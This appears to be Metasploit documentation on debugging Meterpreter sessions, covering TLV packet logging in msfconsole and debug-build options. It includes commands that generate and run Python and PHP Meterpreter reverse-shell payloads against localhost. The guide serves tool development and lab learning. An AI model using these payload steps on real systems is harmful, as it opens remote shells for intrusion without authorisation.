Meterpreter Debugging Meterpreter Sessions

There are currently two main ways to debug Meterpreter sessions:

1. Log all networking requests between msfconsole and Meterpreter, i.e. TLV Packets
2. Generate a custom Meterpreter debug build with extra logging present

Log Meterpreter TLV Packets

This can be enabled for any Meterpreter session, and does not require a debug Metasploit build:

msf6 > setg SessionTlvLogging true
SessionTlvLogging => true

Allowed values:

• setg SessionTlvLogging true - Enable network logging, defaulting to console
• setg SessionTlvLogging false - Disable all network logging
• setg SessionTlvLogging console - Log to the current msfconsole instance
• setg SessionTlvLogging file:/tmp/session.txt - Write the network traffic logs to an arbitrary file

Example output:

meterpreter > getenv USER

SEND: #<Rex::Post::Meterpreter::Packet type=Request         tlvs=[
  #<Rex::Post::Meterpreter::Tlv type=COMMAND_ID      meta=INT        value=1052 command=stdapi_sys_config_getenv>
  #<Rex::Post::Meterpreter::Tlv type=REQUEST_ID      meta=STRING     value="73717259684850511890564936718272">
  #<Rex::Post::Meterpreter::Tlv type=ENV_VARIABLE    meta=STRING     value="USER">
]>

RECV: #<Rex::Post::Meterpreter::Packet type=Response        tlvs=[
  #<Rex::Post::Meterpreter::Tlv type=UUID            meta=RAW        value="Q\xE63_onC\x9E\xD71\xDE3\xB5Q\xE24">
  #<Rex::Post::Meterpreter::Tlv type=COMMAND_ID      meta=INT        value=1052 command=stdapi_sys_config_getenv>
  #<Rex::Post::Meterpreter::Tlv type=REQUEST_ID      meta=STRING     value="73717259684850511890564936718272">
  #<Rex::Post::Meterpreter::Tlv type=RESULT          meta=INT        value=0>
  #<Rex::Post::Meterpreter::GroupTlv type=ENV_GROUP       tlvs=[
    #<Rex::Post::Meterpreter::Tlv type=ENV_VARIABLE    meta=STRING     value="USER">
    #<Rex::Post::Meterpreter::Tlv type=ENV_VALUE       meta=STRING     value="demo_user">
  ]>
]>

Environment Variables
=====================

Variable  Value
--------  -----
USER      demo_user

Meterpreter debug builds

The following options can be specified when generating Meterpreter payloads:

• MeterpreterDebugBuild - When set to true, the generated Meterpreter payload will have additional logging present
• MeterpreterDebugLogging - Configure the logging mode. This currently only allows writing to a file on the remote host. Requires MeterpreterDebugBuild to be set to true. Example value: setg MeterpreterDebugLogging rpath:/tmp/meterpreter_log.txt
• MeterpreterTryToFork - When set to true the Meterpreter payload will try to fork from the currently running process. Setting to false is useful to see any stdout logging that occurs

The debug build will have additional log statements, which can be easily detected. These debug builds are useful for scenarios where A/V is not running, in local labs for learning purposes, or raising Metasploit issue reports etc.

Python

use payload/python/meterpreter_reverse_tcp
generate -o shell.py -f raw lhost=127.0.0.1 MeterpreterDebugBuild=true MeterpreterTryToFork=false
to_handler

python3 shell.py

PHP

use payload/php/meterpreter_reverse_http
generate -o shell.php -f raw lhost=127.0.0.1 MeterpreterDebugBuild=true
to_handler

php shell_http.php

Java / Windows / Linux / Mac

Not yet implemented